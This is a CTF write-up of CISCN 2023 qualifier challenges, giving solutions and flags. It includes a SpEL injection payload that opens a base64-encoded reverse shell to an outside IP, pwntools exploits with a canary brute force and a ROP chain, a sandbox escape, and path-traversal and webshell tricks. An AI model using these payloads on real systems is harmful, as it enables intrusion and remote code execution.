CISCN2023 Quals

date
May 28, 2023
slug
ciscn2023-quals
status
Published
tags
CTF
WriteUP
summary
type
Post
  • 名称:签个到我就跑
  • 排名:全国 4 / 华东南 1

Web

BackendService

POST /nacos/v1/auth/users HTTP/1.1
Host: 123.56.236.235:12312
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: [<http://123.56.236.235:12312>](<http://123.56.236.235:12312/>)
Connection: close
Authorization:  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4NTMyMzA1OX0.eViYCh3ObrVxdDDP3QZUOtw9YZASK-1JlLEp52lFYYA
Referer: <http://123.56.236.235:12312/nacos/>

username=admin&password=nacos
notion image
创建账户登陆
先知社区文章:
改payload转json更新配置反弹shell
{
  "spring": {
    "cloud": {
      "gateway": {
        "routes": [
          {
            "id": "exam",
            "order": 0,
            "uri": "lb://rvice-provider",
            "predicates": [
              "Path=/echo/**"
            ],
            "filters": [
              {
                "name": "AddResponseHeader",
                "args": {
                  "name": "result",
                  "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk2LjI0Ny42LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}'}).getInputStream())).replaceAll('\\n','').replaceAll('\\r','')}"
                }
              }
            ]
          }
        ]
      }
    }
  }
}
notion image
flag{5157c29e-6050-4efe-94d4-0e5ba78b3b5d}

unzip

软连接 然后继续提交软连接同名的压缩包中的一句话木马,实现将木马链接到网站目录
notion image

dumpit

notion image
访问log得到flag
notion image

Misc

签到卡

提示 print(open(’/etc/passwd’).read())
可以打印出passwd文件,所以存在任意文件读取
猜测flag地址,即可打印出flag
notion image

pyshell

#依次输入
'__imp'
_+'ort'
_+'__('
_+"'os"
_+"')."
_+"sys"
_+"tem"
_+"('c"
_+"at "
_+"/fl"
_+"ag'"
_+")"
eval(_)
notion image

国粹

a.png和k.png分别是x和y轴坐标
利用matlab库绘制散点图获得flag图
import matplotlib.pyplot as plt
import numpy as np
tuple = [(1, 4), (1, 5), (1, 10), (1, 30), (2, 3), (2, 4), (2, 5), (2, 6), (2, 10), (2, 29), (2, 30), (3, 3), (3, 4), (3, 10), (3, 16), (3, 17), (3, 22), (3, 23), (3, 24), (3, 25), (3, 29), (3, 30), (4, 2), (4, 3), (4, 4), (4, 5), (4, 10), (4, 15), (4, 16), (4, 18), (4, 21), (4, 22), (4, 24), (4, 25), (4, 29), (4, 30), (5, 3), (5, 4), (5, 10), (5, 15), (5, 17), (5, 18), (5, 19), (5, 21), (5, 22), (5, 25), (5, 28), (5, 29), (6, 3), (6, 4), (6, 10), (6, 15), (6, 16), (6, 18), (6, 19), (6, 21), (6, 22), (6, 25), (6, 29), (7, 3), (7, 4), (7, 10), (7, 11), (7, 12), (7, 13), (7, 15), (7, 18), (7, 19), (7, 22), (7, 23), (7, 24), (7, 25), (7, 29), (7, 30), (8, 3), (8, 4), (8, 11), (8, 12), (8, 15), (8, 16), (8, 17), (8, 18), (8, 19), (8, 20), (8, 25), (8, 29), (8, 30), (9, 21), (9, 22), (9, 24), (9, 25), (9, 30), (9, 31), (10, 23), (10, 24), (12, 22), (12, 23), (12, 24), (12, 25), (13, 2), (13, 3), (13, 4), (13, 5), (13, 9), (13, 10), (13, 11), (13, 12), (13, 16), (13, 17), (13, 18), (13, 19), (13, 24), (13, 25), (14, 2), (14, 5), (14, 6), (14, 9), (14, 12), (14, 19), (14, 23), (14, 24), (15, 5), (15, 9), (15, 12), (15, 18), (15, 19), (15, 22), (15, 23), (16, 4), (16, 5), (16, 9), (16, 12), (16, 17), (16, 18), (16, 23), (16, 24), (17, 3), (17, 4), (17, 9), (17, 12), (17, 16), (17, 17), (17, 24), (17, 25), (18, 3), (18, 9), (18, 12), (18, 16), (18, 25), (19, 3), (19, 4), (19, 5), (19, 6), (19, 9), (19, 10), (19, 11), (19, 12), (19, 16), (19, 17), (19, 18), (19, 19), (19, 21), (19, 22), (19, 23), (19, 24), (19, 25), (20, 10), (20, 11), (22, 3), (22, 4), (22, 5), (22, 6), (22, 10), (22, 11), (22, 12),
     (22, 17), (22, 18), (22, 19), (22, 24), (22, 25), (23, 3), (23, 6), (23, 7), (23, 9), (23, 10), (23, 16), (23, 17), (23, 19), (23, 20), (23, 22), (23, 23), (23, 24), (23, 25), (24, 3), (24, 6), (24, 7), (24, 9), (24, 10), (24, 16), (24, 19), (24, 20), (24, 24), (24, 25), (25, 3), (25, 6), (25, 7), (25, 10), (25, 11), (25, 12), (25, 16), (25, 19), (25, 20), (25, 24), (25, 25), (26, 3), (26, 6), (26, 7), (26, 12), (26, 13), (26, 16), (26, 19), (26, 20), (26, 24), (26, 25), (27, 3), (27, 6), (27, 7), (27, 9), (27, 12), (27, 13), (27, 16), (27, 19), (27, 20), (27, 24), (27, 25), (28, 3), (28, 4), (28, 6), (28, 9), (28, 10), (28, 11), (28, 12), (28, 16), (28, 17), (28, 19), (28, 20), (28, 24), (28, 25), (29, 4), (29, 5), (29, 17), (29, 18), (29, 19), (31, 10), (31, 11), (31, 12), (31, 13), (31, 25), (31, 31), (32, 4), (32, 5), (32, 6), (32, 10), (32, 11), (32, 12), (32, 13), (32, 17), (32, 18), (32, 19), (32, 23), (32, 24), (32, 25), (32, 26), (32, 32), (33, 3), (33, 4), (33, 6), (33, 7), (33, 12), (33, 16), (33, 17), (33, 23), (33, 24), (33, 26), (33, 32), (34, 6), (34, 7), (34, 11), (34, 16), (34, 17), (34, 23), (34, 24), (34, 26), (34, 32), (35, 6), (35, 11), (35, 12), (35, 17), (35, 18), (35, 19), (35, 23), (35, 24), (35, 25), (35, 26), (35, 33), (36, 5), (36, 12), (36, 13), (36, 19), (36, 20), (36, 26), (36, 32), (37, 4), (37, 5), (37, 13), (37, 16), (37, 19), (37, 20), (37, 25), (37, 26), (37, 32), (38, 4), (38, 5), (38, 6), (38, 7), (38, 9), (38, 10), (38, 11), (38, 12), (38, 13), (38, 16), (38, 17), (38, 18), (38, 19), (38, 24), (38, 25), (38, 31), (38, 32), (39, 23), (39, 24), (39, 31)]
for x in tuple:
    plt.scatter(x[0], x[1])

plt.show()
notion image

被加密的生产流量

获取流量包后筛选modbus,每条query包头2个字母base32解密
notion image
notion image

网络安全人才实战能力评价现状调研问卷

notion image

Crypto

基于国密SM2算法的密钥密文分发

按照给的word文档一步步来即可flag{5174eca9-b0e5-44d0-b067-a51dcbe7dc28} flag没存重新打了一遍
notion image

可信度量

根据word给的账号密码,连上主机,cd / 后 grep -ri “flag{”
发现Binary file 22/task/22/environ matches
查看文件发现flag
notion image

Sign_in_passwd

给了两行
j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5
将第二行url decode获取到base64的码表
然后去换表base64解第一行
notion image

Pwn

funcanary

fork pwn
进程爆破canary和pie碰撞
# python2
# coding=utf-8

from pwn import *
from struct import pack

# -----------------------------------------------------------------------------------------
# context(arch="i386",log_level = 'debug',os='linux') #x86
context(arch='amd64', log_level='debug', os='linux')  # x64
# -----------------------------------------------------------------------------------------
context.terminal = [
    'cmd.exe', '/c', 'start', 'bash.exe', '-c'
]
while True:
    try:
        # r = process('./funcanary')
        r = remote('47.93.187.243', '21093')
        r.recvuntil('welcome\n')

        # leak canary
        canary = '\x00'
        for k in range(7):
            for i in range(256):
                r.send('a'*0x68 + canary + chr(i))
                a = r.recvuntil("welcome\n")
                if b"have" in a:
                    canary += chr(i)
                    print("canary: " + canary.encode('hex'))
                    break
        r.send('a'*0x68 + canary + 'a'*8 + '\x28\x02')
        f=r.recv(timeout=1)
        if b"flag" in f:
            print(f)
            break

    except EOFError as e:
        r.close()
        continue

notion image

烧烤摊儿

没有限制负数,负数购买可以获得钱
notion image
进入栈溢出漏洞点 ida发现checksec出来的canary保护是假的,,
直接rop一把梭
#python2
# coding=utf-8

from pwn import *
from struct import pack
#-----------------------------------------------------------------------------------------
#context(arch="i386",log_level = 'debug',os='linux') #x86
context(arch='amd64',log_level='debug',os='linux') #x64
#-----------------------------------------------------------------------------------------
context.terminal = [
    'cmd.exe' , '/c' , 'start' , 'bash.exe' , '-c'
]
# r=process("./shaokao")
r=remote("39.105.58.194",33509)

r.recvuntil(">")
r.sendline("1")
sleep(1)
r.sendline("1")
r.recvuntil("来几瓶?\n")
r.sendline("-100000")
r.recvuntil(">")
r.sendline("4")
r.recvuntil(">")
r.sendline("5")
r.recvuntil("烧烤摊儿已归你所有,请赐名:\n")


p = b''

p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall

r.sendline(cyclic(40)+p)

r.interactive()
 

Reverse

babyRE

replace all hidden=”true” to false
然后dump出secret, 简单异或就行
 
notion image
from z3 import *

sol = Solver()


secret = [102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
print(len(secret))
key = [BitVec(f'f{i}', 8) for i in range(len(secret))]


recovered_data = key.copy()

for i in range(1, len(key)):
    recovered_data[i] = key[i-1] ^ key[i % len(key)]

for i in range(len(key)):
    sol.add(recovered_data[i] == secret[i])

assert sol.check() == sat

mol = sol.model()
flag = bytearray([mol[i].as_long() for i in key])
print(flag)

# flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

flutterror

x64的libapp.so能parse出snapshot
notion image
然并软
logcat 能看到flutter打印输入数组
adb logcat -s flutter
hook __android_log_print打出堆栈
// 获取模块地址
const moduleName = "liblog.so";
const module = Process.getModuleByName(moduleName);
const funcAddress = Module.findExportByName(module.name, "__android_log_print");

// 打印日志的替代实现
const logPrintImpl = new NativeFunction(funcAddress, "int", [
  "int",
  "pointer",
  "pointer",
]);
function hookedLogPrint(priority, tag, message) {
  // 在这里添加你的自定义逻辑
  //if (tag.readCString() != "flutter") return logPrintImpl(priority, tag, message);
  // 调用原始函数
  const backtrace = Thread.backtrace(this.context, Backtracer.ACCURATE).map(
    DebugSymbol.fromAddress
  );
  console.log("Stack Trace:");
  for (const frame of backtrace) {
    console.log(frame.toString());
  }

  //console.log('Message:', hexdump(message, { length: 128, ansi: true }));

  return logPrintImpl(...arguments);
}

// Hook目标函数
Interceptor.replace(
  funcAddress,
  new rrrNativeCallback(hookedLogPrint, "int", ["int", "pointer", "pointer"])
);
 
Stack Trace:
0x74750bfb58 libflutter.so!0x622b58
0x7470420d74 libapp.so!_kDartIsolateSnapshotInstructions+0x313f4
0x7470420c00 libapp.so!_kDartIsolateSnapshotInstructions+0x31280
0x7470420ba0 libapp.so!_kDartIsolateSnapshotInstructions+0x31220
0x747044c0d4 libapp.so!_kDartIsolateSnapshotInstructions+0x5c754
0x747044bf50 libapp.so!_kDartIsolateSnapshotInstructions+0x5c5d0
0x74705170a0 libapp.so!_kDartIsolateSnapshotInstructions+0x127720
0x747048dd58 libapp.so!_kDartIsolateSnapshotInstructions+0x9e3d8
0x7470516ff8 libapp.so!_kDartIsolateSnapshotInstructions+0x127678
0x7470516f9c libapp.so!_kDartIsolateSnapshotInstructions+0x12761c
0x74704f2884 libapp.so!_kDartIsolateSnapshotInstructions+0x102f04
0x74704f260c libapp.so!_kDartIsolateSnapshotInstructions+0x102c8c
0x7470582cf8 libapp.so!_kDartIsolateSnapshotInstructions+0x193378
0x74705e9424 libapp.so!_kDartIsolateSnapshotInstructions+0x1f9aa4
0x74705d2da0 libapp.so!_kDartIsolateSnapshotInstructions+0x1e3420
0x74705de610 libapp.so!_kDartIsolateSnapshotInstructions+0x1eec90
回溯到这条
0x74705170a0 libapp.so!_kDartIsolateSnapshotInstructions+0x127720
盲猜check
notion image
cmp指令上打个断写个脚本
ch = idc.get_reg_value("x7")
# patch
idc.set_reg_value(ch, "x6")

flag.append(ch)
print(flag)
然后xor回去一把嗦
bytearray([i ^ 0x66 for i in flag])
# [0, 10, 7, 1, 29, 95, 80, 3, 80, 83, 80, 95, 81, 75, 83, 3, 4, 4, 75, 82, 81, 82, 81, 75, 95, 80, 85, 80, 75, 7, 3, 0, 5, 2, 86, 82, 84, 5, 3, 94, 86, 27]
# flag{96e65697-5ebb-4747-9636-aefcd042ce80}

ezbyte

readelf -wf ezbyte
DW_CFA_val_expression: r12 (r12) (DW_OP_constu: 2616514329260088143;
 DW_OP_constu: 1237891274917891239;
 DW_OP_constu: 1892739;
 DW_OP_breg12 (r12): 0;
 DW_OP_plus;
 DW_OP_xor;
 DW_OP_xor;
 DW_OP_constu: 8502251781212277489;
 DW_OP_constu: 1209847170981118947;
 DW_OP_constu: 8971237;
 DW_OP_breg13 (r13): 0;
 DW_OP_plus;
 DW_OP_xor;
 DW_OP_xor;
 DW_OP_or;
 DW_OP_constu: 2451795628338718684;
 DW_OP_constu: 1098791727398412397;
 DW_OP_constu: 1512312;
 DW_OP_breg14 (r14): 0;
 DW_OP_plus;
 DW_OP_xor;
 DW_OP_xor;
 DW_OP_or;
 DW_OP_constu: 8722213363631027234;
 DW_OP_constu: 1890878197237214971;
 DW_OP_constu: 9123704;
 DW_OP_breg15 (r15): 0;
 DW_OP_plus;
 DW_OP_xor;
 DW_OP_xor;
 DW_OP_or)
 
#
r12 = (2616514329260088143 ^ 1237891274917891239) - 1892739

r13 = (8502251781212277489 ^ 1209847170981118947) - 8971237
r14 = (2451795628338718684 ^ 1098791727398412397) - 1512312
r15 = (8722213363631027234 ^ 1890878197237214971) - 9123704

# int to str and concat
flag = b'flag{'
flag += int.to_bytes(r12, 8, 'little')
flag += int.to_bytes(r13, 8, 'little')
flag += int.to_bytes(r14, 8, 'little')
flag += int.to_bytes(r15, 8, 'little')
flag += b'3861}'
print(flag)

moveAside

mov混淆
盲测,strcmp单字节对比,直接能单字节映射
直接patch成puts + pwntools开爆
from pwn import *
from string import ascii_letters, digits

#context.log_level = 'debug'

printable = ascii_letters + digits + '}{_-'

maps = {}

def fuzz():
    for i in printable:
        p = process('./moveAside2')
        p.sendlineafter('ok input your flag', i)
        p.recvline()
        p.recvline()
        maps[p.recvline()[:1]] = i
        p.close()
fuzz()
print(maps)

cipherText = bytes.fromhex("679D60668A56495065656055645C654850515C556751575C496754635C5462525654545049535252568C")
print(cipherText)
flag = ''
for i in range(len(cipherText)):
    flag += maps.get(cipherText[i:i+1], '?')
print(flag)

ezAndroid

.DS_Store泄露操作
cpeweb.apk
就一路径穿越
非预期了吧.jpg
GET http://47.104.67.173:8000/temp/img/../../../flag HTTP/1.1
Host: 47.104.67.173:8000
Proxy-Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

© Z00M Team 2022 - 2024